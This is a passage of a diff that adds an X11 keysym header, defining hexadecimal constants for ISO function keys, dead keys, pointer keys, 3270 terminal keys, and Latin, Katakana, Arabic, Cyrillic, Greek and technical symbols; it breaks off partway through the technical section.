+#define XK_ISO_Last_Group_Lock 0xFE0F + +#define XK_ISO_Left_Tab 0xFE20 +#define XK_ISO_Move_Line_Up 0xFE21 +#define XK_ISO_Move_Line_Down 0xFE22 +#define XK_ISO_Partial_Line_Up 0xFE23 +#define XK_ISO_Partial_Line_Down 0xFE24 +#define XK_ISO_Partial_Space_Left 0xFE25 +#define XK_ISO_Partial_Space_Right 0xFE26 +#define XK_ISO_Set_Margin_Left 0xFE27 +#define XK_ISO_Set_Margin_Right 0xFE28 +#define XK_ISO_Release_Margin_Left 0xFE29 +#define XK_ISO_Release_Margin_Right 0xFE2A +#define XK_ISO_Release_Both_Margins 0xFE2B +#define XK_ISO_Fast_Cursor_Left 0xFE2C +#define XK_ISO_Fast_Cursor_Right 0xFE2D +#define XK_ISO_Fast_Cursor_Up 0xFE2E +#define XK_ISO_Fast_Cursor_Down 0xFE2F +#define XK_ISO_Continuous_Underline 0xFE30 +#define XK_ISO_Discontinuous_Underline 0xFE31 +#define XK_ISO_Emphasize 0xFE32 +#define XK_ISO_Center_Object 0xFE33 +#define XK_ISO_Enter 0xFE34 + +#define XK_dead_grave 0xFE50 +#define XK_dead_acute 0xFE51 +#define XK_dead_circumflex 0xFE52 +#define XK_dead_tilde 0xFE53 +#define XK_dead_macron 0xFE54 +#define XK_dead_breve 0xFE55 +#define XK_dead_abovedot 0xFE56 +#define XK_dead_diaeresis 0xFE57 +#define XK_dead_abovering 0xFE58 +#define XK_dead_doubleacute 0xFE59 +#define XK_dead_caron 0xFE5A +#define XK_dead_cedilla 0xFE5B +#define XK_dead_ogonek 0xFE5C +#define XK_dead_iota 0xFE5D +#define XK_dead_voiced_sound 0xFE5E +#define XK_dead_semivoiced_sound 0xFE5F +#define XK_dead_belowdot 0xFE60 + +#define XK_First_Virtual_Screen 0xFED0 +#define XK_Prev_Virtual_Screen 0xFED1 +#define XK_Next_Virtual_Screen 0xFED2 +#define XK_Last_Virtual_Screen 0xFED4 +#define XK_Terminate_Server 0xFED5 + +#define XK_AccessX_Enable 0xFE70 +#define XK_AccessX_Feedback_Enable 0xFE71 +#define XK_RepeatKeys_Enable 0xFE72 +#define XK_SlowKeys_Enable 0xFE73 +#define XK_BounceKeys_Enable 0xFE74 +#define XK_StickyKeys_Enable 0xFE75 +#define XK_MouseKeys_Enable 0xFE76 +#define XK_MouseKeys_Accel_Enable 0xFE77 +#define XK_Overlay1_Enable 0xFE78 +#define XK_Overlay2_Enable 0xFE79 +#define XK_AudibleBell_Enable 0xFE7A + +#define XK_Pointer_Left 0xFEE0 +#define XK_Pointer_Right 0xFEE1 +#define XK_Pointer_Up 0xFEE2 +#define XK_Pointer_Down 0xFEE3 +#define XK_Pointer_UpLeft 0xFEE4 +#define XK_Pointer_UpRight 0xFEE5 +#define XK_Pointer_DownLeft 0xFEE6 +#define XK_Pointer_DownRight 0xFEE7 +#define XK_Pointer_Button_Dflt 0xFEE8 +#define XK_Pointer_Button1 0xFEE9 +#define XK_Pointer_Button2 0xFEEA +#define XK_Pointer_Button3 0xFEEB +#define XK_Pointer_Button4 0xFEEC +#define XK_Pointer_Button5 0xFEED +#define XK_Pointer_DblClick_Dflt 0xFEEE +#define XK_Pointer_DblClick1 0xFEEF +#define XK_Pointer_DblClick2 0xFEF0 +#define XK_Pointer_DblClick3 0xFEF1 +#define XK_Pointer_DblClick4 0xFEF2 +#define XK_Pointer_DblClick5 0xFEF3 +#define XK_Pointer_Drag_Dflt 0xFEF4 +#define XK_Pointer_Drag1 0xFEF5 +#define XK_Pointer_Drag2 0xFEF6 +#define XK_Pointer_Drag3 0xFEF7 +#define XK_Pointer_Drag4 0xFEF8 +#define XK_Pointer_Drag5 0xFEFD + +#define XK_Pointer_EnableKeys 0xFEF9 +#define XK_Pointer_Accelerate 0xFEFA +#define XK_Pointer_DfltBtnNext 0xFEFB +#define XK_Pointer_DfltBtnPrev 0xFEFC + +#endif + +/* + * 3270 Terminal Keys + * Byte 3 = 0xFD + */ + +#ifdef XK_3270 +#define XK_3270_Duplicate 0xFD01 +#define XK_3270_FieldMark 0xFD02 +#define XK_3270_Right2 0xFD03 +#define XK_3270_Left2 0xFD04 +#define XK_3270_BackTab 0xFD05 +#define XK_3270_EraseEOF 0xFD06 +#define XK_3270_EraseInput 0xFD07 +#define XK_3270_Reset 0xFD08 +#define XK_3270_Quit 0xFD09 +#define XK_3270_PA1 0xFD0A +#define XK_3270_PA2 0xFD0B +#define XK_3270_PA3 0xFD0C +#define XK_3270_Test 0xFD0D +#define XK_3270_Attn 0xFD0E +#define XK_3270_CursorBlink 0xFD0F +#define XK_3270_AltCursor 0xFD10 +#define XK_3270_KeyClick 0xFD11 +#define XK_3270_Jump 0xFD12 +#define XK_3270_Ident 0xFD13 +#define XK_3270_Rule 0xFD14 +#define XK_3270_Copy 0xFD15 +#define XK_3270_Play 0xFD16 +#define XK_3270_Setup 0xFD17 +#define XK_3270_Record 0xFD18 +#define XK_3270_ChangeScreen 0xFD19 +#define XK_3270_DeleteWord 0xFD1A +#define XK_3270_ExSelect 0xFD1B +#define XK_3270_CursorSelect 0xFD1C +#define XK_3270_PrintScreen 0xFD1D +#define XK_3270_Enter 0xFD1E +#endif + +/* + * Latin 1 + * Byte 3 = 0 + */ +#ifdef XK_LATIN1 +#define XK_space 0x020 +#define XK_exclam 0x021 +#define XK_quotedbl 0x022 +#define XK_numbersign 0x023 +#define XK_dollar 0x024 +#define XK_percent 0x025 +#define XK_ampersand 0x026 +#define XK_apostrophe 0x027 +#define XK_quoteright 0x027 /* deprecated */ +#define XK_parenleft 0x028 +#define XK_parenright 0x029 +#define XK_asterisk 0x02a +#define XK_plus 0x02b +#define XK_comma 0x02c +#define XK_minus 0x02d +#define XK_period 0x02e +#define XK_slash 0x02f +#define XK_0 0x030 +#define XK_1 0x031 +#define XK_2 0x032 +#define XK_3 0x033 +#define XK_4 0x034 +#define XK_5 0x035 +#define XK_6 0x036 +#define XK_7 0x037 +#define XK_8 0x038 +#define XK_9 0x039 +#define XK_colon 0x03a +#define XK_semicolon 0x03b +#define XK_less 0x03c +#define XK_equal 0x03d +#define XK_greater 0x03e +#define XK_question 0x03f +#define XK_at 0x040 +#define XK_A 0x041 +#define XK_B 0x042 +#define XK_C 0x043 +#define XK_D 0x044 +#define XK_E 0x045 +#define XK_F 0x046 +#define XK_G 0x047 +#define XK_H 0x048 +#define XK_I 0x049 +#define XK_J 0x04a +#define XK_K 0x04b +#define XK_L 0x04c +#define XK_M 0x04d +#define XK_N 0x04e +#define XK_O 0x04f +#define XK_P 0x050 +#define XK_Q 0x051 +#define XK_R 0x052 +#define XK_S 0x053 +#define XK_T 0x054 +#define XK_U 0x055 +#define XK_V 0x056 +#define XK_W 0x057 +#define XK_X 0x058 +#define XK_Y 0x059 +#define XK_Z 0x05a +#define XK_bracketleft 0x05b +#define XK_backslash 0x05c +#define XK_bracketright 0x05d +#define XK_asciicircum 0x05e +#define XK_underscore 0x05f +#define XK_grave 0x060 +#define XK_quoteleft 0x060 /* deprecated */ +#define XK_a 0x061 +#define XK_b 0x062 +#define XK_c 0x063 +#define XK_d 0x064 +#define XK_e 0x065 +#define XK_f 0x066 +#define XK_g 0x067 +#define XK_h 0x068 +#define XK_i 0x069 +#define XK_j 0x06a +#define XK_k 0x06b +#define XK_l 0x06c +#define XK_m 0x06d +#define XK_n 0x06e +#define XK_o 0x06f +#define XK_p 0x070 +#define XK_q 0x071 +#define XK_r 0x072 +#define XK_s 0x073 +#define XK_t 0x074 +#define XK_u 0x075 +#define XK_v 0x076 +#define XK_w 0x077 +#define XK_x 0x078 +#define XK_y 0x079 +#define XK_z 0x07a +#define XK_braceleft 0x07b +#define XK_bar 0x07c +#define XK_braceright 0x07d +#define XK_asciitilde 0x07e + +#define XK_nobreakspace 0x0a0 +#define XK_exclamdown 0x0a1 +#define XK_cent 0x0a2 +#define XK_sterling 0x0a3 +#define XK_currency 0x0a4 +#define XK_yen 0x0a5 +#define XK_brokenbar 0x0a6 +#define XK_section 0x0a7 +#define XK_diaeresis 0x0a8 +#define XK_copyright 0x0a9 +#define XK_ordfeminine 0x0aa +#define XK_guillemotleft 0x0ab /* left angle quotation mark */ +#define XK_notsign 0x0ac +#define XK_hyphen 0x0ad +#define XK_registered 0x0ae +#define XK_macron 0x0af +#define XK_degree 0x0b0 +#define XK_plusminus 0x0b1 +#define XK_twosuperior 0x0b2 +#define XK_threesuperior 0x0b3 +#define XK_acute 0x0b4 +#define XK_mu 0x0b5 +#define XK_paragraph 0x0b6 +#define XK_periodcentered 0x0b7 +#define XK_cedilla 0x0b8 +#define XK_onesuperior 0x0b9 +#define XK_masculine 0x0ba +#define XK_guillemotright 0x0bb /* right angle quotation mark */ +#define XK_onequarter 0x0bc +#define XK_onehalf 0x0bd +#define XK_threequarters 0x0be +#define XK_questiondown 0x0bf +#define XK_Agrave 0x0c0 +#define XK_Aacute 0x0c1 +#define XK_Acircumflex 0x0c2 +#define XK_Atilde 0x0c3 +#define XK_Adiaeresis 0x0c4 +#define XK_Aring 0x0c5 +#define XK_AE 0x0c6 +#define XK_Ccedilla 0x0c7 +#define XK_Egrave 0x0c8 +#define XK_Eacute 0x0c9 +#define XK_Ecircumflex 0x0ca +#define XK_Ediaeresis 0x0cb +#define XK_Igrave 0x0cc +#define XK_Iacute 0x0cd +#define XK_Icircumflex 0x0ce +#define XK_Idiaeresis 0x0cf +#define XK_ETH 0x0d0 +#define XK_Eth 0x0d0 /* deprecated */ +#define XK_Ntilde 0x0d1 +#define XK_Ograve 0x0d2 +#define XK_Oacute 0x0d3 +#define XK_Ocircumflex 0x0d4 +#define XK_Otilde 0x0d5 +#define XK_Odiaeresis 0x0d6 +#define XK_multiply 0x0d7 +#define XK_Ooblique 0x0d8 +#define XK_Ugrave 0x0d9 +#define XK_Uacute 0x0da +#define XK_Ucircumflex 0x0db +#define XK_Udiaeresis 0x0dc +#define XK_Yacute 0x0dd +#define XK_THORN 0x0de +#define XK_Thorn 0x0de /* deprecated */ +#define XK_ssharp 0x0df +#define XK_agrave 0x0e0 +#define XK_aacute 0x0e1 +#define XK_acircumflex 0x0e2 +#define XK_atilde 0x0e3 +#define XK_adiaeresis 0x0e4 +#define XK_aring 0x0e5 +#define XK_ae 0x0e6 +#define XK_ccedilla 0x0e7 +#define XK_egrave 0x0e8 +#define XK_eacute 0x0e9 +#define XK_ecircumflex 0x0ea +#define XK_ediaeresis 0x0eb +#define XK_igrave 0x0ec +#define XK_iacute 0x0ed +#define XK_icircumflex 0x0ee +#define XK_idiaeresis 0x0ef +#define XK_eth 0x0f0 +#define XK_ntilde 0x0f1 +#define XK_ograve 0x0f2 +#define XK_oacute 0x0f3 +#define XK_ocircumflex 0x0f4 +#define XK_otilde 0x0f5 +#define XK_odiaeresis 0x0f6 +#define XK_division 0x0f7 +#define XK_oslash 0x0f8 +#define XK_ugrave 0x0f9 +#define XK_uacute 0x0fa +#define XK_ucircumflex 0x0fb +#define XK_udiaeresis 0x0fc +#define XK_yacute 0x0fd +#define XK_thorn 0x0fe +#define XK_ydiaeresis 0x0ff +#endif /* XK_LATIN1 */ + +/* + * Latin 2 + * Byte 3 = 1 + */ + +#ifdef XK_LATIN2 +#define XK_Aogonek 0x1a1 +#define XK_breve 0x1a2 +#define XK_Lstroke 0x1a3 +#define XK_Lcaron 0x1a5 +#define XK_Sacute 0x1a6 +#define XK_Scaron 0x1a9 +#define XK_Scedilla 0x1aa +#define XK_Tcaron 0x1ab +#define XK_Zacute 0x1ac +#define XK_Zcaron 0x1ae +#define XK_Zabovedot 0x1af +#define XK_aogonek 0x1b1 +#define XK_ogonek 0x1b2 +#define XK_lstroke 0x1b3 +#define XK_lcaron 0x1b5 +#define XK_sacute 0x1b6 +#define XK_caron 0x1b7 +#define XK_scaron 0x1b9 +#define XK_scedilla 0x1ba +#define XK_tcaron 0x1bb +#define XK_zacute 0x1bc +#define XK_doubleacute 0x1bd +#define XK_zcaron 0x1be +#define XK_zabovedot 0x1bf +#define XK_Racute 0x1c0 +#define XK_Abreve 0x1c3 +#define XK_Lacute 0x1c5 +#define XK_Cacute 0x1c6 +#define XK_Ccaron 0x1c8 +#define XK_Eogonek 0x1ca +#define XK_Ecaron 0x1cc +#define XK_Dcaron 0x1cf +#define XK_Dstroke 0x1d0 +#define XK_Nacute 0x1d1 +#define XK_Ncaron 0x1d2 +#define XK_Odoubleacute 0x1d5 +#define XK_Rcaron 0x1d8 +#define XK_Uring 0x1d9 +#define XK_Udoubleacute 0x1db +#define XK_Tcedilla 0x1de +#define XK_racute 0x1e0 +#define XK_abreve 0x1e3 +#define XK_lacute 0x1e5 +#define XK_cacute 0x1e6 +#define XK_ccaron 0x1e8 +#define XK_eogonek 0x1ea +#define XK_ecaron 0x1ec +#define XK_dcaron 0x1ef +#define XK_dstroke 0x1f0 +#define XK_nacute 0x1f1 +#define XK_ncaron 0x1f2 +#define XK_odoubleacute 0x1f5 +#define XK_udoubleacute 0x1fb +#define XK_rcaron 0x1f8 +#define XK_uring 0x1f9 +#define XK_tcedilla 0x1fe +#define XK_abovedot 0x1ff +#endif /* XK_LATIN2 */ + +/* + * Latin 3 + * Byte 3 = 2 + */ + +#ifdef XK_LATIN3 +#define XK_Hstroke 0x2a1 +#define XK_Hcircumflex 0x2a6 +#define XK_Iabovedot 0x2a9 +#define XK_Gbreve 0x2ab +#define XK_Jcircumflex 0x2ac +#define XK_hstroke 0x2b1 +#define XK_hcircumflex 0x2b6 +#define XK_idotless 0x2b9 +#define XK_gbreve 0x2bb +#define XK_jcircumflex 0x2bc +#define XK_Cabovedot 0x2c5 +#define XK_Ccircumflex 0x2c6 +#define XK_Gabovedot 0x2d5 +#define XK_Gcircumflex 0x2d8 +#define XK_Ubreve 0x2dd +#define XK_Scircumflex 0x2de +#define XK_cabovedot 0x2e5 +#define XK_ccircumflex 0x2e6 +#define XK_gabovedot 0x2f5 +#define XK_gcircumflex 0x2f8 +#define XK_ubreve 0x2fd +#define XK_scircumflex 0x2fe +#endif /* XK_LATIN3 */ + + +/* + * Latin 4 + * Byte 3 = 3 + */ + +#ifdef XK_LATIN4 +#define XK_kra 0x3a2 +#define XK_kappa 0x3a2 /* deprecated */ +#define XK_Rcedilla 0x3a3 +#define XK_Itilde 0x3a5 +#define XK_Lcedilla 0x3a6 +#define XK_Emacron 0x3aa +#define XK_Gcedilla 0x3ab +#define XK_Tslash 0x3ac +#define XK_rcedilla 0x3b3 +#define XK_itilde 0x3b5 +#define XK_lcedilla 0x3b6 +#define XK_emacron 0x3ba +#define XK_gcedilla 0x3bb +#define XK_tslash 0x3bc +#define XK_ENG 0x3bd +#define XK_eng 0x3bf +#define XK_Amacron 0x3c0 +#define XK_Iogonek 0x3c7 +#define XK_Eabovedot 0x3cc +#define XK_Imacron 0x3cf +#define XK_Ncedilla 0x3d1 +#define XK_Omacron 0x3d2 +#define XK_Kcedilla 0x3d3 +#define XK_Uogonek 0x3d9 +#define XK_Utilde 0x3dd +#define XK_Umacron 0x3de +#define XK_amacron 0x3e0 +#define XK_iogonek 0x3e7 +#define XK_eabovedot 0x3ec +#define XK_imacron 0x3ef +#define XK_ncedilla 0x3f1 +#define XK_omacron 0x3f2 +#define XK_kcedilla 0x3f3 +#define XK_uogonek 0x3f9 +#define XK_utilde 0x3fd +#define XK_umacron 0x3fe +#endif /* XK_LATIN4 */ + +/* + * Latin-9 (a.k.a. Latin-0) + * Byte 3 = 19 + */ + +#ifdef XK_LATIN9 +#define XK_OE 0x13bc +#define XK_oe 0x13bd +#define XK_Ydiaeresis 0x13be +#endif /* XK_LATIN9 */ + +/* + * Katakana + * Byte 3 = 4 + */ + +#ifdef XK_KATAKANA +#define XK_overline 0x47e +#define XK_kana_fullstop 0x4a1 +#define XK_kana_openingbracket 0x4a2 +#define XK_kana_closingbracket 0x4a3 +#define XK_kana_comma 0x4a4 +#define XK_kana_conjunctive 0x4a5 +#define XK_kana_middledot 0x4a5 /* deprecated */ +#define XK_kana_WO 0x4a6 +#define XK_kana_a 0x4a7 +#define XK_kana_i 0x4a8 +#define XK_kana_u 0x4a9 +#define XK_kana_e 0x4aa +#define XK_kana_o 0x4ab +#define XK_kana_ya 0x4ac +#define XK_kana_yu 0x4ad +#define XK_kana_yo 0x4ae +#define XK_kana_tsu 0x4af +#define XK_kana_tu 0x4af /* deprecated */ +#define XK_prolongedsound 0x4b0 +#define XK_kana_A 0x4b1 +#define XK_kana_I 0x4b2 +#define XK_kana_U 0x4b3 +#define XK_kana_E 0x4b4 +#define XK_kana_O 0x4b5 +#define XK_kana_KA 0x4b6 +#define XK_kana_KI 0x4b7 +#define XK_kana_KU 0x4b8 +#define XK_kana_KE 0x4b9 +#define XK_kana_KO 0x4ba +#define XK_kana_SA 0x4bb +#define XK_kana_SHI 0x4bc +#define XK_kana_SU 0x4bd +#define XK_kana_SE 0x4be +#define XK_kana_SO 0x4bf +#define XK_kana_TA 0x4c0 +#define XK_kana_CHI 0x4c1 +#define XK_kana_TI 0x4c1 /* deprecated */ +#define XK_kana_TSU 0x4c2 +#define XK_kana_TU 0x4c2 /* deprecated */ +#define XK_kana_TE 0x4c3 +#define XK_kana_TO 0x4c4 +#define XK_kana_NA 0x4c5 +#define XK_kana_NI 0x4c6 +#define XK_kana_NU 0x4c7 +#define XK_kana_NE 0x4c8 +#define XK_kana_NO 0x4c9 +#define XK_kana_HA 0x4ca +#define XK_kana_HI 0x4cb +#define XK_kana_FU 0x4cc +#define XK_kana_HU 0x4cc /* deprecated */ +#define XK_kana_HE 0x4cd +#define XK_kana_HO 0x4ce +#define XK_kana_MA 0x4cf +#define XK_kana_MI 0x4d0 +#define XK_kana_MU 0x4d1 +#define XK_kana_ME 0x4d2 +#define XK_kana_MO 0x4d3 +#define XK_kana_YA 0x4d4 +#define XK_kana_YU 0x4d5 +#define XK_kana_YO 0x4d6 +#define XK_kana_RA 0x4d7 +#define XK_kana_RI 0x4d8 +#define XK_kana_RU 0x4d9 +#define XK_kana_RE 0x4da +#define XK_kana_RO 0x4db +#define XK_kana_WA 0x4dc +#define XK_kana_N 0x4dd +#define XK_voicedsound 0x4de +#define XK_semivoicedsound 0x4df +#define XK_kana_switch 0xFF7E /* Alias for mode_switch */ +#endif /* XK_KATAKANA */ + +/* + * Arabic + * Byte 3 = 5 + */ + +#ifdef XK_ARABIC +#define XK_Arabic_comma 0x5ac +#define XK_Arabic_semicolon 0x5bb +#define XK_Arabic_question_mark 0x5bf +#define XK_Arabic_hamza 0x5c1 +#define XK_Arabic_maddaonalef 0x5c2 +#define XK_Arabic_hamzaonalef 0x5c3 +#define XK_Arabic_hamzaonwaw 0x5c4 +#define XK_Arabic_hamzaunderalef 0x5c5 +#define XK_Arabic_hamzaonyeh 0x5c6 +#define XK_Arabic_alef 0x5c7 +#define XK_Arabic_beh 0x5c8 +#define XK_Arabic_tehmarbuta 0x5c9 +#define XK_Arabic_teh 0x5ca +#define XK_Arabic_theh 0x5cb +#define XK_Arabic_jeem 0x5cc +#define XK_Arabic_hah 0x5cd +#define XK_Arabic_khah 0x5ce +#define XK_Arabic_dal 0x5cf +#define XK_Arabic_thal 0x5d0 +#define XK_Arabic_ra 0x5d1 +#define XK_Arabic_zain 0x5d2 +#define XK_Arabic_seen 0x5d3 +#define XK_Arabic_sheen 0x5d4 +#define XK_Arabic_sad 0x5d5 +#define XK_Arabic_dad 0x5d6 +#define XK_Arabic_tah 0x5d7 +#define XK_Arabic_zah 0x5d8 +#define XK_Arabic_ain 0x5d9 +#define XK_Arabic_ghain 0x5da +#define XK_Arabic_tatweel 0x5e0 +#define XK_Arabic_feh 0x5e1 +#define XK_Arabic_qaf 0x5e2 +#define XK_Arabic_kaf 0x5e3 +#define XK_Arabic_lam 0x5e4 +#define XK_Arabic_meem 0x5e5 +#define XK_Arabic_noon 0x5e6 +#define XK_Arabic_ha 0x5e7 +#define XK_Arabic_heh 0x5e7 /* deprecated */ +#define XK_Arabic_waw 0x5e8 +#define XK_Arabic_alefmaksura 0x5e9 +#define XK_Arabic_yeh 0x5ea +#define XK_Arabic_fathatan 0x5eb +#define XK_Arabic_dammatan 0x5ec +#define XK_Arabic_kasratan 0x5ed +#define XK_Arabic_fatha 0x5ee +#define XK_Arabic_damma 0x5ef +#define XK_Arabic_kasra 0x5f0 +#define XK_Arabic_shadda 0x5f1 +#define XK_Arabic_sukun 0x5f2 +#define XK_Arabic_switch 0xFF7E /* Alias for mode_switch */ +#endif /* XK_ARABIC */ + +/* + * Cyrillic + * Byte 3 = 6 + */ +#ifdef XK_CYRILLIC +#define XK_Serbian_dje 0x6a1 +#define XK_Macedonia_gje 0x6a2 +#define XK_Cyrillic_io 0x6a3 +#define XK_Ukrainian_ie 0x6a4 +#define XK_Ukranian_je 0x6a4 /* deprecated */ +#define XK_Macedonia_dse 0x6a5 +#define XK_Ukrainian_i 0x6a6 +#define XK_Ukranian_i 0x6a6 /* deprecated */ +#define XK_Ukrainian_yi 0x6a7 +#define XK_Ukranian_yi 0x6a7 /* deprecated */ +#define XK_Cyrillic_je 0x6a8 +#define XK_Serbian_je 0x6a8 /* deprecated */ +#define XK_Cyrillic_lje 0x6a9 +#define XK_Serbian_lje 0x6a9 /* deprecated */ +#define XK_Cyrillic_nje 0x6aa +#define XK_Serbian_nje 0x6aa /* deprecated */ +#define XK_Serbian_tshe 0x6ab +#define XK_Macedonia_kje 0x6ac +#define XK_Byelorussian_shortu 0x6ae +#define XK_Cyrillic_dzhe 0x6af +#define XK_Serbian_dze 0x6af /* deprecated */ +#define XK_numerosign 0x6b0 +#define XK_Serbian_DJE 0x6b1 +#define XK_Macedonia_GJE 0x6b2 +#define XK_Cyrillic_IO 0x6b3 +#define XK_Ukrainian_IE 0x6b4 +#define XK_Ukranian_JE 0x6b4 /* deprecated */ +#define XK_Macedonia_DSE 0x6b5 +#define XK_Ukrainian_I 0x6b6 +#define XK_Ukranian_I 0x6b6 /* deprecated */ +#define XK_Ukrainian_YI 0x6b7 +#define XK_Ukranian_YI 0x6b7 /* deprecated */ +#define XK_Cyrillic_JE 0x6b8 +#define XK_Serbian_JE 0x6b8 /* deprecated */ +#define XK_Cyrillic_LJE 0x6b9 +#define XK_Serbian_LJE 0x6b9 /* deprecated */ +#define XK_Cyrillic_NJE 0x6ba +#define XK_Serbian_NJE 0x6ba /* deprecated */ +#define XK_Serbian_TSHE 0x6bb +#define XK_Macedonia_KJE 0x6bc +#define XK_Byelorussian_SHORTU 0x6be +#define XK_Cyrillic_DZHE 0x6bf +#define XK_Serbian_DZE 0x6bf /* deprecated */ +#define XK_Cyrillic_yu 0x6c0 +#define XK_Cyrillic_a 0x6c1 +#define XK_Cyrillic_be 0x6c2 +#define XK_Cyrillic_tse 0x6c3 +#define XK_Cyrillic_de 0x6c4 +#define XK_Cyrillic_ie 0x6c5 +#define XK_Cyrillic_ef 0x6c6 +#define XK_Cyrillic_ghe 0x6c7 +#define XK_Cyrillic_ha 0x6c8 +#define XK_Cyrillic_i 0x6c9 +#define XK_Cyrillic_shorti 0x6ca +#define XK_Cyrillic_ka 0x6cb +#define XK_Cyrillic_el 0x6cc +#define XK_Cyrillic_em 0x6cd +#define XK_Cyrillic_en 0x6ce +#define XK_Cyrillic_o 0x6cf +#define XK_Cyrillic_pe 0x6d0 +#define XK_Cyrillic_ya 0x6d1 +#define XK_Cyrillic_er 0x6d2 +#define XK_Cyrillic_es 0x6d3 +#define XK_Cyrillic_te 0x6d4 +#define XK_Cyrillic_u 0x6d5 +#define XK_Cyrillic_zhe 0x6d6 +#define XK_Cyrillic_ve 0x6d7 +#define XK_Cyrillic_softsign 0x6d8 +#define XK_Cyrillic_yeru 0x6d9 +#define XK_Cyrillic_ze 0x6da +#define XK_Cyrillic_sha 0x6db +#define XK_Cyrillic_e 0x6dc +#define XK_Cyrillic_shcha 0x6dd +#define XK_Cyrillic_che 0x6de +#define XK_Cyrillic_hardsign 0x6df +#define XK_Cyrillic_YU 0x6e0 +#define XK_Cyrillic_A 0x6e1 +#define XK_Cyrillic_BE 0x6e2 +#define XK_Cyrillic_TSE 0x6e3 +#define XK_Cyrillic_DE 0x6e4 +#define XK_Cyrillic_IE 0x6e5 +#define XK_Cyrillic_EF 0x6e6 +#define XK_Cyrillic_GHE 0x6e7 +#define XK_Cyrillic_HA 0x6e8 +#define XK_Cyrillic_I 0x6e9 +#define XK_Cyrillic_SHORTI 0x6ea +#define XK_Cyrillic_KA 0x6eb +#define XK_Cyrillic_EL 0x6ec +#define XK_Cyrillic_EM 0x6ed +#define XK_Cyrillic_EN 0x6ee +#define XK_Cyrillic_O 0x6ef +#define XK_Cyrillic_PE 0x6f0 +#define XK_Cyrillic_YA 0x6f1 +#define XK_Cyrillic_ER 0x6f2 +#define XK_Cyrillic_ES 0x6f3 +#define XK_Cyrillic_TE 0x6f4 +#define XK_Cyrillic_U 0x6f5 +#define XK_Cyrillic_ZHE 0x6f6 +#define XK_Cyrillic_VE 0x6f7 +#define XK_Cyrillic_SOFTSIGN 0x6f8 +#define XK_Cyrillic_YERU 0x6f9 +#define XK_Cyrillic_ZE 0x6fa +#define XK_Cyrillic_SHA 0x6fb +#define XK_Cyrillic_E 0x6fc +#define XK_Cyrillic_SHCHA 0x6fd +#define XK_Cyrillic_CHE 0x6fe +#define XK_Cyrillic_HARDSIGN 0x6ff +#endif /* XK_CYRILLIC */ + +/* + * Greek + * Byte 3 = 7 + */ + +#ifdef XK_GREEK +#define XK_Greek_ALPHAaccent 0x7a1 +#define XK_Greek_EPSILONaccent 0x7a2 +#define XK_Greek_ETAaccent 0x7a3 +#define XK_Greek_IOTAaccent 0x7a4 +#define XK_Greek_IOTAdiaeresis 0x7a5 +#define XK_Greek_OMICRONaccent 0x7a7 +#define XK_Greek_UPSILONaccent 0x7a8 +#define XK_Greek_UPSILONdieresis 0x7a9 +#define XK_Greek_OMEGAaccent 0x7ab +#define XK_Greek_accentdieresis 0x7ae +#define XK_Greek_horizbar 0x7af +#define XK_Greek_alphaaccent 0x7b1 +#define XK_Greek_epsilonaccent 0x7b2 +#define XK_Greek_etaaccent 0x7b3 +#define XK_Greek_iotaaccent 0x7b4 +#define XK_Greek_iotadieresis 0x7b5 +#define XK_Greek_iotaaccentdieresis 0x7b6 +#define XK_Greek_omicronaccent 0x7b7 +#define XK_Greek_upsilonaccent 0x7b8 +#define XK_Greek_upsilondieresis 0x7b9 +#define XK_Greek_upsilonaccentdieresis 0x7ba +#define XK_Greek_omegaaccent 0x7bb +#define XK_Greek_ALPHA 0x7c1 +#define XK_Greek_BETA 0x7c2 +#define XK_Greek_GAMMA 0x7c3 +#define XK_Greek_DELTA 0x7c4 +#define XK_Greek_EPSILON 0x7c5 +#define XK_Greek_ZETA 0x7c6 +#define XK_Greek_ETA 0x7c7 +#define XK_Greek_THETA 0x7c8 +#define XK_Greek_IOTA 0x7c9 +#define XK_Greek_KAPPA 0x7ca +#define XK_Greek_LAMDA 0x7cb +#define XK_Greek_LAMBDA 0x7cb +#define XK_Greek_MU 0x7cc +#define XK_Greek_NU 0x7cd +#define XK_Greek_XI 0x7ce +#define XK_Greek_OMICRON 0x7cf +#define XK_Greek_PI 0x7d0 +#define XK_Greek_RHO 0x7d1 +#define XK_Greek_SIGMA 0x7d2 +#define XK_Greek_TAU 0x7d4 +#define XK_Greek_UPSILON 0x7d5 +#define XK_Greek_PHI 0x7d6 +#define XK_Greek_CHI 0x7d7 +#define XK_Greek_PSI 0x7d8 +#define XK_Greek_OMEGA 0x7d9 +#define XK_Greek_alpha 0x7e1 +#define XK_Greek_beta 0x7e2 +#define XK_Greek_gamma 0x7e3 +#define XK_Greek_delta 0x7e4 +#define XK_Greek_epsilon 0x7e5 +#define XK_Greek_zeta 0x7e6 +#define XK_Greek_eta 0x7e7 +#define XK_Greek_theta 0x7e8 +#define XK_Greek_iota 0x7e9 +#define XK_Greek_kappa 0x7ea +#define XK_Greek_lamda 0x7eb +#define XK_Greek_lambda 0x7eb +#define XK_Greek_mu 0x7ec +#define XK_Greek_nu 0x7ed +#define XK_Greek_xi 0x7ee +#define XK_Greek_omicron 0x7ef +#define XK_Greek_pi 0x7f0 +#define XK_Greek_rho 0x7f1 +#define XK_Greek_sigma 0x7f2 +#define XK_Greek_finalsmallsigma 0x7f3 +#define XK_Greek_tau 0x7f4 +#define XK_Greek_upsilon 0x7f5 +#define XK_Greek_phi 0x7f6 +#define XK_Greek_chi 0x7f7 +#define XK_Greek_psi 0x7f8 +#define XK_Greek_omega 0x7f9 +#define XK_Greek_switch 0xFF7E /* Alias for mode_switch */ +#endif /* XK_GREEK */ + +/* + * Technical + * Byte 3 = 8 + */ + +#ifdef XK_TECHNICAL +#define XK_leftradical 0x8a1 +#define XK_topleftradical 0x8a2 +#define XK_horizconnector 0x8a3 +#define XK_topintegral 0x8a4 +#define XK_botintegral 0x8a5 +#define XK_vertconnector 0x8a6 +#define XK_topleftsqbracket 0x8a7 +#define XK_botleftsqbracket 0x8a8 +#define XK_toprightsqbracket 0x8a9 +#define XK_botrightsqbracket 0x8aa +#define XK_topleftparens 0x8ab +#define XK_botleftparens 0x8ac +#define XK_toprightparens 0x8ad +#define XK_botrightparens 0x8ae +#define XK_leftmiddlecurlybrace 0x8af +#define XK_rightmiddlecurlybrace 0x8b0 +#define XK_topleftsummation 0x8b1 +#define XK_botleftsummation 0x8b2 +#define XK_topvertsummationconnector 0x8b3 +#define XK_botvertsummationconnector 0x8b4 +#define XK_toprightsummation 0x8b5 +#define XK_botrightsummation 0x8b6 +#define XK_rightmiddlesummation 0x8b7 +#define XK_lessthanequal 0x8bc +#define XK_notequal 0x8bd +#define XK_greaterthanequal 0x8be +#define XK_integral 0x8bf +#define XK_therefore 